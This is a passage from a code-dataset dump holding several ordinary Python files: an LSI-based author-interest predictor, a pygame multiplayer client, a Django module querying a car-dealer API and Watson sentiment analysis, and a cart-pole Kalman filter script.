codecs.open(json_name,\"r\",\"utf-8\") as fid:\n author_paper = json.load(fid)\n\n return author_paper\n\ndef predict_n_interest(author_paper,interest_seq,dictionary,corpus,tfidf_model,lsi_model,corpus_simi_matrix):\n\n print (\"predict interest ...\")\n predict_author_interest = {}\n for author,paper in author_paper.items():\n interest = []\n test_text = clean_data(' '.join(paper))\n test_bow = dictionary.doc2bow(test_text)\n test_tfidf = tfidf_model[test_bow]\n test_lsi = lsi_model[test_tfidf]\n test_simi = corpus_simi_matrix[test_lsi]\n\n result = list(enumerate(test_simi))\n result.sort(key=lambda x:x[1])\n\n for v in result[-10:]:\n interest.append(interest_seq[v[0]])\n interest.extend(['']*(5-len(interest)))\n predict_author_interest.setdefault(author,interest)\n\n with codecs.open(\"p_author_interest_lsi_10.json\",\"w\",\"utf-8\") as fid:\n json.dump(predict_author_interest,fid,ensure_ascii=False)\n\n return predict_author_interest\n\ndef print_validation_result(predict_author_interest,author_list,author_interest,num_topics):\n\n print (len(author_interest.keys()))\n print (len(predict_author_interest.keys()))\n\n with codecs.open(\"result_predict_by_interest_p.txt\",\"a\",\"utf-8\") as fid:\n accuracy = 0\n for author in author_list:\n accuracy = accuracy + (len(set(predict_author_interest[author])&set(author_interest[author])))/3\n #fid.write(author+'\\t'+str(len(set(predict_author_interest[author])&set(author_interest[author])))+'\\n')\n fid.write(str(num_topics)+'\\t'+str(accuracy/6000)+'\\n')\n\ndef print_final_result(predict_author_interest,author_list,author_interest,num_topics):\n\n\n fid_result = codecs.open(\"interst_from_interest_800.txt\",\"w\",\"utf-8\")\n\n with codecs.open(\"validation.txt\",\"r\",\"utf-8\") as fid:\n for line in fid:\n if line == '\\n':\n continue\n author = line.strip()\n fid_result.write(author + '\\t' + '\\t'.join(predict_author_interest[author])+'\\n')\n\n\n\nif __name__ == '__main__':\n #extract_paper_for_interest()\n with codecs.open(\"author_interest.json\",\"r\",\"utf-8\") as fid:\n author_interest = json.load(fid)\n\n author_list = list(author_interest.keys())\n\n vali_data = read_test_data(\"t_author_paper.json\")\n test_data = read_test_data(\"p_author_paper.json\")\n (interest_seq,dictionary,corpus) = create_dictionary()\n\n for num_topics in range(800,860,60):\n (tfidf_model,lsi_model,corpus_simi_matrix) = create_lsi_model(num_topics,dictionary,corpus)\n predict_author_interest = predict_n_interest(test_data,interest_seq,dictionary,corpus,tfidf_model,lsi_model,corpus_simi_matrix)\n print_final_result(predict_author_interest,author_list,author_interest,num_topics)\n", "sub_path": "predict_by_interest.py", "file_name": "predict_by_interest.py", "file_ext": "py", "file_size_in_byte": 5676, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "codecs.open", "line_number": 12, "usage_type": "call"}, {"api_name": "json.load", "line_number": 13, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 15, "usage_type": "call"}, {"api_name": "json.load", "line_number": 16, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 24, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 25, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 31, "usage_type": "call"}, {"api_name": "json.load", "line_number": 32, "usage_type": "call"}, {"api_name": "gensim.corpora.Dictionary", "line_number": 44, "usage_type": "call"}, {"api_name": "gensim.corpora", "line_number": 44, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 49, "usage_type": "call"}, {"api_name": "gensim.models.TfidfModel", "line_number": 67, "usage_type": "call"}, {"api_name": "gensim.models", "line_number": 67, "usage_type": "name"}, {"api_name": "gensim.models.LsiModel", "line_number": 69, "usage_type": "call"}, {"api_name": "gensim.models", "line_number": 69, "usage_type": "name"}, {"api_name": "gensim.similarities.MatrixSimilarity", "line_number": 71, "usage_type": "call"}, {"api_name": "gensim.similarities", "line_number": 71, "usage_type": "name"}, {"api_name": "codecs.open", "line_number": 79, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 90, "usage_type": "call"}, {"api_name": "json.load", "line_number": 91, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 115, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 116, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 125, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 135, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 137, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 148, "usage_type": "call"}, {"api_name": "json.load", "line_number": 149, "usage_type": "call"}]} +{"seq_id": "267714064", "text": "import pygame\nfrom textbox import TextBox\nimport sys\nimport socket\nfrom threading import Thread\nfrom Protocol import Protocol\nfrom physics import Ball\nfrom pygame.color import THECOLORS\n\nsize = width, height = 640, 480 # 设置窗口大小\nscreen = pygame.display.set_mode(size) # 显示窗口\nADDRESS = ('127.0.0.1', 8712) # ('foxyball.cn', 8712) # 如果服务端在本机，请使用('127.0.0.1', 8712)\ng_client = socket.socket() # 创建 socket 对象\nothers = []\nmy = Ball(100,100,0,0,\"why\")\ndef init():\n pygame.init() # 初始化pygame\n # 与服务器建立连接\n g_client.connect(ADDRESS)\n # 开始接受服务端消息\n thead = Thread(target=msg_handler)\n thead.setDaemon(True)\n thead.start()\n my = Ball(100,100,0,0,\"why\")\n # 告诉服务端有新玩家\n send_new_role()\n return\ndef loop():\n while True: # 死循环确保窗口一直显示\n pygame.time.delay(32)\n my.move()\n for event in pygame.event.get(): # 遍历所有事件 \n if event.type == pygame.QUIT:\n sys.exit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_a:\n my.vx = -2\n if event.key == pygame.K_d:\n my.vx = 2\n if event.key == pygame.K_SPACE:\n my.jump()\n send_role_move() # 告诉服务器，自己移动了\n if event.type == pygame.KEYUP:\n my.stop()\n screen.fill((255,255,255))\n pygame.draw.circle(screen,THECOLORS[\"red\"],[my.x,my.y],10,0)\n for r in others:\n pygame.draw.circle(screen,THECOLORS[\"red\"],[r.x,r.y],10,0)\n pygame.display.flip()\ndef send_new_role():\n p = Protocol()\n p.add_str(\"newrole\")\n p.add_int32(my.x) \n p.add_int32(my.y) \n p.add_str(my.name) \n data = p.get_pck_has_head() \n # 发送数据包 \n g_client.sendall(data)\ndef send_role_move():\n \"\"\"\n 发送角色的坐标给服务端\n \"\"\"\n # 构建数据包\n p = Protocol()\n p.add_str(\"move\")\n p.add_int32(my.x)\n p.add_int32(my.y)\n data = p.get_pck_has_head()\n # 发送数据包\n g_client.sendall(data)\ndef pck_handler(pck):\n p = Protocol(pck)\n pck_type = p.get_str()\n if pck_type == 'playermove': # 玩家移动的数据包\n x = p.get_int32()\n y = p.get_int32()\n name = p.get_str()\n for r in others:\n if r.name == name:\n r.x = x\n r.y = y\n break\n elif pck_type == 'newplayer': # 新玩家数据包\n x = p.get_int32()\n y = p.get_int32()\n name = p.get_str()\n r = Ball(x, y, 0, 0, name)\n others.append(r)\n elif pck_type == 'logout': # 玩家掉线\n name = p.get_str()\n for r in others:\n if r.name == name:\n others.remove(r)\n break\ndef msg_handler():\n \"\"\"\n 处理服务端返回的消息\n \"\"\"\n while True:\n bytes = g_client.recv(1024)\n # 以包长度切割封包\n while True:\n # 读取包长度\n length_pck = int.from_bytes(bytes[:4], byteorder='little')\n # 截取封包\n pck = bytes[4:4 + length_pck]\n # 删除已经读取的字节\n bytes = bytes[4 + length_pck:]\n # 把封包交给处理函数\n pck_handler(pck)\n # 如果bytes没数据了，就跳出循环\n if len(bytes) == 0:\n break\n\nif __name__ == '__main__':\n init()\n loop()\n pygame.quit()", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3608, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pygame.display.set_mode", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 11, "usage_type": "attribute"}, {"api_name": "socket.socket", "line_number": 13, "usage_type": "call"}, {"api_name": "physics.Ball", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.init", "line_number": 17, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 21, "usage_type": "call"}, {"api_name": "physics.Ball", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.time.delay", "line_number": 30, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 32, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 34, "usage_type": "call"}, {"api_name": "pygame.KEYDOWN", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pygame.K_a", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pygame.K_d", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pygame.K_SPACE", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.KEYUP", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 46, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pygame.color.THECOLORS", "line_number": 46, "usage_type": "name"}, {"api_name": "pygame.draw.circle", "line_number": 48, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pygame.color.THECOLORS", "line_number": 48, "usage_type": "name"}, {"api_name": "pygame.display.flip", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 49, "usage_type": "attribute"}, {"api_name": "Protocol.Protocol", "line_number": 51, "usage_type": "call"}, {"api_name": "Protocol.Protocol", "line_number": 64, "usage_type": "call"}, {"api_name": "Protocol.Protocol", "line_number": 72, "usage_type": "call"}, {"api_name": "physics.Ball", "line_number": 87, "usage_type": "call"}, {"api_name": "pygame.quit", "line_number": 118, "usage_type": "call"}]} +{"seq_id": "305336408", "text": "import requests\nimport json\nfrom .models import CarDealer, CarReview\nfrom requests.auth import HTTPBasicAuth\n\n\n# https://realpython.com/python-kwargs-and-args/\n\n#\ndef get_request(url, **kwargs):\n print(kwargs)\n print(\"GET from {} \".format(url))\n try:\n # Call get method of requests library with URL and parameters\n # response = requests.get(url, headers={'Content-Type': 'application/json'},params=kwargs)\n if 'api_key' in kwargs:\n # Basic authentication GET\n response = requests.get(url, headers={'Content-Type': 'application/json'}, params=kwargs,\n auth=HTTPBasicAuth('apikey', kwargs['api_key']))\n else:\n # no authentication GET\n response = requests.get(url, headers={'Content-Type': 'application/json'}, params=kwargs)\n except:\n # If any error occurs\n print(\"Network exception occurred\")\n status_code = response.status_code\n print(\"With status {} \".format(status_code))\n json_data = json.loads(response.text)\n return json_data\n\n\n# WASON NLU SERVICE\nfrom ibm_watson import NaturalLanguageUnderstandingV1\nfrom ibm_cloud_sdk_core.authenticators import IAMAuthenticator\nfrom ibm_watson.natural_language_understanding_v1 import Features, EntitiesOptions, KeywordsOptions\n\n\ndef analyze_review_sentiments(dealerreview):\n api_key = API_KEY\n url = URL_NLU\n #\n authenticator = IAMAuthenticator(api_key)\n natural_language_understanding = NaturalLanguageUnderstandingV1(\n version='2021-03-25',\n authenticator=authenticator)\n\n natural_language_understanding.set_service_url(url)\n response = natural_language_understanding.analyze(\n text=dealerreview,\n features=Features(\n entities=EntitiesOptions(emotion=True, sentiment=True, limit=2),\n keywords=KeywordsOptions(emotion=True, sentiment=True,\n limit=2))).get_result()\n # print(json.dumps(response, indent=2))\n #\n try:\n resultado = response['keywords'][0]['sentiment']['label']\n except:\n resultado = 'neutral'\n return resultado\n\n\n#\ndef get_dealers_from_cf(url, **kwargs):\n results = []\n # Call get_request with a URL parameter\n json_result = get_request(url)\n # print(json_result)\n if json_result:\n # Get the row list in JSON as dealers\n dealers = json_result[\"rows\"]\n # For each dealer object\n for dealer in dealers:\n # Get its content in `doc` object\n # dealer_doc = dealer[\"doc\"]\n print(dealer)\n dealer_doc = dealer\n # Create a CarDealer object with values in `doc` object\n dealer_obj = CarDealer(city=dealer_doc[\"city\"],\n address=dealer_doc[\"address\"], full_name=dealer_doc[\"full_name\"],\n short_name=dealer_doc[\"short_name\"],\n id=dealer_doc[\"id\"], lat=dealer_doc[\"lat\"], long=dealer_doc[\"long\"],\n st=dealer_doc[\"st\"], zip=dealer_doc[\"zip\"])\n # address=dealer_doc[\"address\"], full_name=dealer_doc[\"full_name\"],short_name=dealer_doc[\"short_name\"],\n results.append(dealer_obj)\n return results\n\n\n# get dealer reviews\ndef get_dealers_reviews_from_cf(url, **kwargs):\n # Call get_request with a URL parameter\n results = []\n dealer_id = kwargs['dealer_id']\n # json_result = get_request(url,dealer_id=dealer_id) ###############\n url = 'https://0f2f6a44.us-south.apigw.appdomain.cloud/reviews/review'\n data = {\"dealerid\": dealer_id}\n response = requests.get(url, json=data)\n json_result = json.loads(response.text)\n # print(json_result)\n if json_result:\n # Get the row list in JSON as dealers\n dealers = json_result[\"rows\"]\n # For each dealer object\n for dealer in dealers:\n # Get its content in `doc` object\n # dealer_doc = dealer[\"doc\"]\n dealer_doc = dealer\n #\n sentiment = analyze_review_sentiments(dealer_doc['review'])\n # sentiment = 'negative'\n # Create a CarDealer object with values in `doc` object\n dealer_obj = CarReview(dealership=dealer_doc[\"dealership\"],\n name=dealer_doc[\"name\"],\n purchase=dealer_doc[\"purchase\"],\n id=dealer_doc[\"id\"],\n review=dealer_doc[\"review\"],\n purchase_date=\"\", #\n car_make=dealer_doc[\"car_make\"],\n car_model=dealer_doc[\"car_model\"],\n car_year=dealer_doc[\"car_year\"],\n sentiment=sentiment)\n results.append(dealer_obj)\n return results\n\n# POST\ndef post_request(url, json_payload, **kwargs):\n requests.post(url, json=json_payload)\n return\n\n\nimport datetime\nfrom .models import CarModel, CarMake\n\n\n# cargar datos\ndef cargarDatos(request):\n marcas = ['Audi', 'Subaru', 'Honda']\n modelos = ['s1', 'a1', 'w20', 'h2']\n anios = [datetime.datetime.now().year, datetime.datetime.now().year]\n for i in range(1, 50):\n dealerid = i\n #\n m = CarMake(name=marcas[0])\n m.save()\n CarModel.objects.create(model_id=m.id, dealer_id=i, name=modelos[0], year='2019-01-01')\n CarModel.objects.create(model_id=m.id, dealer_id=i, name=modelos[1], year='2014-01-01')\n #\n m = CarMake(name=marcas[1])\n m.save()\n CarModel.objects.create(model_id=m.id, dealer_id=i, name=modelos[0], year='2019-01-01')\n CarModel.objects.create(model_id=m.id, dealer_id=i, name=modelos[1], year='2015-01-01')\n #\n m = CarMake(name=marcas[2])\n m.save()\n CarModel.objects.create(model_id=m.id, dealer_id=i, name=modelos[0], year='2019-01-01')\n CarModel.objects.create(model_id=m.id, dealer_id=i, name=modelos[1], year='2017-01-01')\n return\n\n\n\n\n# NLU\nAPI_KEY = '**********'\nURL_NLU = '**********'\n", "sub_path": "server/djangoapp/restapis.py", "file_name": "restapis.py", "file_ext": "py", "file_size_in_byte": 6164, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "requests.get", "line_number": 18, "usage_type": "call"}, {"api_name": "requests.auth.HTTPBasicAuth", "line_number": 19, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 22, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 28, "usage_type": "call"}, {"api_name": "ibm_cloud_sdk_core.authenticators.IAMAuthenticator", "line_number": 42, "usage_type": "call"}, {"api_name": "ibm_watson.NaturalLanguageUnderstandingV1", "line_number": 43, "usage_type": "call"}, {"api_name": "ibm_watson.natural_language_understanding_v1.Features", "line_number": 50, "usage_type": "call"}, {"api_name": "ibm_watson.natural_language_understanding_v1.EntitiesOptions", "line_number": 51, "usage_type": "call"}, {"api_name": "ibm_watson.natural_language_understanding_v1.KeywordsOptions", "line_number": 52, "usage_type": "call"}, {"api_name": "models.CarDealer", "line_number": 79, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 97, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 98, "usage_type": "call"}, {"api_name": "models.CarReview", "line_number": 112, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 127, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 139, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 139, "usage_type": "attribute"}, {"api_name": "models.CarMake", "line_number": 143, "usage_type": "call"}, {"api_name": "models.CarModel.objects.create", "line_number": 145, "usage_type": "call"}, {"api_name": "models.CarModel.objects", "line_number": 145, "usage_type": "attribute"}, {"api_name": "models.CarModel", "line_number": 145, "usage_type": "name"}, {"api_name": "models.CarModel.objects.create", "line_number": 146, "usage_type": "call"}, {"api_name": "models.CarModel.objects", "line_number": 146, "usage_type": "attribute"}, {"api_name": "models.CarModel", "line_number": 146, "usage_type": "name"}, {"api_name": "models.CarMake", "line_number": 148, "usage_type": "call"}, {"api_name": "models.CarModel.objects.create", "line_number": 150, "usage_type": "call"}, {"api_name": "models.CarModel.objects", "line_number": 150, "usage_type": "attribute"}, {"api_name": "models.CarModel", "line_number": 150, "usage_type": "name"}, {"api_name": "models.CarModel.objects.create", "line_number": 151, "usage_type": "call"}, {"api_name": "models.CarModel.objects", "line_number": 151, "usage_type": "attribute"}, {"api_name": "models.CarModel", "line_number": 151, "usage_type": "name"}, {"api_name": "models.CarMake", "line_number": 153, "usage_type": "call"}, {"api_name": "models.CarModel.objects.create", "line_number": 155, "usage_type": "call"}, {"api_name": "models.CarModel.objects", "line_number": 155, "usage_type": "attribute"}, {"api_name": "models.CarModel", "line_number": 155, "usage_type": "name"}, {"api_name": "models.CarModel.objects.create", "line_number": 156, "usage_type": "call"}, {"api_name": "models.CarModel.objects", "line_number": 156, "usage_type": "attribute"}, {"api_name": "models.CarModel", "line_number": 156, "usage_type": "name"}]} +{"seq_id": "335960634", "text": "import os\nimport pandas as pd\nimport numpy as np\nimport torch\nimport matplotlib.pyplot as plt\nimport sys\nsys.path.append(os.path.join(\"..\"))\nfrom torchid.ssfitter import NeuralStateSpaceSimulator\nfrom torchid.ssmodels import CartPoleStateSpaceModel\n\n\nif __name__ == '__main__':\n\n plt.close(\"all\")\n COL_T = ['time']\n COL_Y = ['p_meas', 'theta_meas']\n COL_X = ['p', 'v', 'theta', 'omega']\n COL_U = ['u']\n COL_R = ['r']\n df_X = pd.read_csv(os.path.join(\"data\", \"pendulum_data_MPC.csv\"))\n\n\n std_noise_p = 0.01\n std_noise_phi = 0.002\n std_noise = np.array([std_noise_p, std_noise_phi])\n\n t = np.array(df_X[COL_T], dtype=np.float32)\n x = np.array(df_X[COL_X],dtype=np.float32)\n y = np.array(df_X[COL_Y],dtype=np.float32)\n y = np.copy(x[:, [0, 2]])\n u = np.array(df_X[COL_R],dtype=np.float32)\n Ts = t[1] - t[0]\n n_x = x.shape[-1]\n\n x0_torch = torch.from_numpy(x[0,:])\n# x_noise = np.copy(x) + np.random.randn(*x.shape)*std_noise\n# x_noise = x_noise.astype(np.float32)\n y_noise = np.copy(y) + np.random.randn(*y.shape)*std_noise\n y_noise = y_noise.astype(np.float32)\n\n # In[Load model] \n ss_model = CartPoleStateSpaceModel(Ts)\n nn_solution = NeuralStateSpaceSimulator(ss_model)\n #model_name = \"model_OE_minibatch_100.pkl\" \n model_name = \"model_ARX_FE_ref_nonoise.pkl\"\n nn_solution.ss_model.load_state_dict(torch.load(os.path.join(\"models\", model_name)))\n \n # In[Simulation plot]\n \n x_torch = torch.tensor(x)\n x0_torch = torch.tensor(x[0,:])\n u_torch = torch.tensor(u)\n t_torch = torch.tensor(t)\n with torch.no_grad():\n x_sim_torch = nn_solution.f_sim(x0_torch, u_torch)\n loss = torch.mean(torch.abs(x_sim_torch - x_torch))\n\n x_sim = np.array(x_sim_torch)\n\n n_plot = t.size\n fig,ax = plt.subplots(3,1,sharex=True)\n ax[0].plot(t[:n_plot], x[:n_plot, 0], label='True')\n ax[0].plot(t[:n_plot], x_sim[:n_plot, 0], label='Simulated')\n ax[0].set_xlabel(\"Time (s)\")\n ax[0].set_ylabel(\"Cart position (m)\")\n ax[0].legend()\n ax[0].grid()\n\n ax[1].plot(t[:n_plot], x[:n_plot, 2], label='True')\n ax[1].plot(t[:n_plot], x_sim[:n_plot, 2], label='Simulated')\n ax[1].set_xlabel(\"Time (s)\")\n ax[1].set_ylabel(\"Pendulum angle (rad)\")\n ax[1].legend()\n ax[1].grid()\n\n ax[2].plot(t[:n_plot], u[:n_plot, 0])\n ax[2].set_xlabel(\"Time (s)\")\n ax[2].set_ylabel(\"Input Force (V)\")\n #ax[2].legend()\n ax[2].grid()\n\n \n # In[Generate batches]\n len_sim = x.shape[0]\n seq_len = 100\n dist_sim = 100\n \n s = np.arange(0, len_sim - seq_len ,dist_sim, dtype = np.int )\n batch_size = len(s)\n batch_x0 = x_torch[s, :] # (M, D)\n batch_t = torch.stack([t_torch[s[i]:s[i] + seq_len] for i in range(batch_size)], dim=0)\n batch_x = torch.stack([x_torch[s[i]:s[i] + seq_len] for i in range(batch_size)], dim=0)\n batch_u = torch.stack([u_torch[s[i]:s[i] + seq_len] for i in range(batch_size)], dim=0)\n\n # In[ZOH baseline performance]\n #zoh_error = batch_x -batch_x0.view(batch_size,1,n_x)\n #scale_error = torch.sqrt(torch.mean(zoh_error**2,(0,1))) \n\n # In[Predictor performance]\n\n batch_x_pred = nn_solution.f_sim_multistep(batch_x0, batch_u)\n batch_x_np = batch_x_pred.clone().data.cpu().numpy()\n batch_t_np = batch_t.clone().data.cpu().numpy()\n #err = batch_x[:,1:,:] - batch_x_pred[:,1:,:]\n #err_scaled = err * scale_error \n #loss = torch.mean(err_scaled**2)\n \n # In[Performance plot]\n \n \n fig,ax = plt.subplots(4,1,figsize=(20,10), sharex=True)\n ax[0].plot(t[:n_plot], y_noise[:n_plot, 0], 'k', label='Measured')\n ax[0].plot(batch_t_np[:,:,0].T, batch_x_np[:,:,0].T, 'r', linewidth=3)\n ax[0].set_xlabel(\"Time (s)\")\n ax[0].set_ylabel(\"Position p (m)\")\n ax[0].legend()\n ax[0].grid()\n\n ax[1].plot(t[:n_plot], x[:n_plot, 1], label='True')\n ax[1].plot(batch_t_np[:,:,0].T, batch_x_np[:,:,1].T, 'r',linewidth=3)\n ax[1].set_xlabel(\"Time (s)\")\n ax[1].set_ylabel(\"Speed v (m/s)\")\n ax[1].legend()\n ax[1].grid()\n\n ax[2].plot(t[:n_plot], y_noise[:n_plot, 1], 'k', label='Measured')\n ax[2].plot(batch_t_np[:,:,0].T, batch_x_np[:,:,2].T, 'r',linewidth=3)\n ax[2].plot(t[:n_plot], x[:n_plot, 2], label='True')\n ax[2].set_xlabel(\"Time (s)\")\n ax[2].set_ylabel(\"Angle $\\phi$ (rad)\")\n ax[2].legend()\n ax[2].grid()\n\n ax[3].plot(t[:n_plot], x[:n_plot, 3], label='True')\n ax[3].plot(batch_t_np[:,:,0].T, batch_x_np[:,:,3].T, 'r',linewidth=3)\n ax[3].set_xlabel(\"Time (s)\")\n ax[3].set_ylabel(\"Angular velocity $\\omega$ (rad/s)\")\n ax[3].legend()\n ax[3].grid()\n \n # In[Kalman filter setup]\n n_x = 4\n n_u = 1\n VAR = []\n for idx_var in range(n_x):\n var = np.zeros((1,n_x)).astype(np.float32)\n var[0,idx_var] = 1.0 # differentiate w.r.t the nth variable\n VAR.append(torch.tensor(var))\n\n\n # In[Kalman filter]\n C = np.array([[1., 0., 0., 0.],\n [0., 0., 1., 0.]], dtype=np.float32)\n \n Q_kal = np.diag([0.01, 1, 0.01, 1]).astype(np.float32)\n R_kal = 10.0*np.eye(2).astype(np.float32),\n \n x_est_post_vec = np.zeros((t.size, n_x)).astype(np.float32)\n x_est_pri_vec = np.zeros((t.size, n_x)).astype(np.float32)\n\n x_est_pri = x[0, :] # x[0|-1]\n P_pri = np.diag([0.01, 100, 0.01, 100]).astype(np.float32) # P[0|-1]\n I_nx = np.eye(n_x, n_x).astype(np.float32)\n\n for time_idx in range(len(t)):\n ui = u[time_idx,:]\n yi = y_noise[time_idx,:]\n\n xi_torch = torch.tensor(x_est_pri, requires_grad=True) # measurement\n ui_torch = torch.tensor(ui, requires_grad=True)\n\n x_est_pri_vec[time_idx] = x_est_pri\n\n f_xu = ss_model(xi_torch, ui_torch)\n Ak = np.empty((n_x, n_x),dtype=np.float32)\n Bk = np.empty((n_x, n_u), dtype=np.float32)\n for idx_var in range(n_x):\n var = VAR[idx_var]\n f_xu.backward(var, retain_graph=True)\n Ak[idx_var, :] = np.array(xi_torch.grad)\n Bk[idx_var, :] = np.array(ui_torch.grad)\n xi_torch.grad.data.zero_()\n ui_torch.grad.data.zero_()\n Ak = Ak + I_nx\n Ck = C\n\n y_est_pri = Ck @ x_est_pri # y[k|k-1]\n Sk = Ck @ P_pri @ Ck.T + R_kal # Innovation covariance\n Kk = P_pri @ Ck.T @ np.linalg.inv(Sk)\n x_est_post = x_est_pri + Kk @ (yi - y_est_pri) # x[k|k]\n\n P_post = (I_nx - Kk @ Ck) @ P_pri # P[k|k]\n x_est_post_vec[time_idx,:] = x_est_post\n\n f_xu_np = f_xu.clone().data.cpu().numpy()\n x_est_pri = x_est_post + f_xu_np # x[k+1|k] predict step\n x_est_pri = x_est_pri.ravel()\n\n P_pri = Ak @ P_post @ Ak.T + Q_kal # P[k|k-1]\n\n\n\n fig,ax = plt.subplots(4,1,figsize=(20,10), sharex=True)\n ax[0].plot(t[:n_plot], y_noise[:n_plot, 0], 'k', label='Measured')\n ax[0].plot(t[:n_plot], x_est_post_vec[:n_plot, 0], label='Predicted')\n ax[0].plot(t[:n_plot], x[:n_plot, 0], label='True')\n ax[0].set_xlabel(\"Time (s)\")\n ax[0].set_ylabel(\"Position p (m)\")\n ax[0].legend()\n ax[0].grid()\n\n ax[1].plot(t[:n_plot], x[:n_plot, 1], label='True')\n ax[1].plot(t[:n_plot], x_est_post_vec[:n_plot, 1], label='Predicted')\n ax[1].set_xlabel(\"Time (s)\")\n ax[1].set_ylabel(\"Speed v (m/s)\")\n ax[1].legend()\n ax[1].grid()\n\n ax[2].plot(t[:n_plot], y_noise[:n_plot, 1], 'k', label='Measured')\n ax[2].plot(t[:n_plot], x_est_post_vec[:n_plot, 2], label='Predicted')\n ax[2].plot(t[:n_plot], x[:n_plot, 2], label='True')\n ax[2].set_xlabel(\"Time (s)\")\n ax[2].set_ylabel(\"Angle $\\phi$ (rad)\")\n ax[2].legend()\n ax[2].grid()\n\n ax[3].plot(t[:n_plot], x[:n_plot, 3], label='True')\n ax[3].plot(t[:n_plot], x_est_post_vec[:n_plot, 3], label='Predicted')\n ax[3].set_xlabel(\"Time (s)\")\n ax[3].set_ylabel(\"Angular velocity $\\omega$ (rad/s)\")\n ax[3].legend()\n ax[3].grid()\n", "sub_path": "examples/cartpole_example/test/cartpole_ref_kalman_filter.py", "file_name": "cartpole_ref_kalman_filter.py", "file_ext": "py", "file_size_in_byte": 7885, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sys.path.append", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.close", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 28, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 31, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 39, "usage_type": "attribute"}, {"api_name": "torchid.ssmodels.CartPoleStateSpaceModel", "line_number": 42, "usage_type": "call"}, {"api_name": "torchid.ssfitter.NeuralStateSpaceSimulator", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 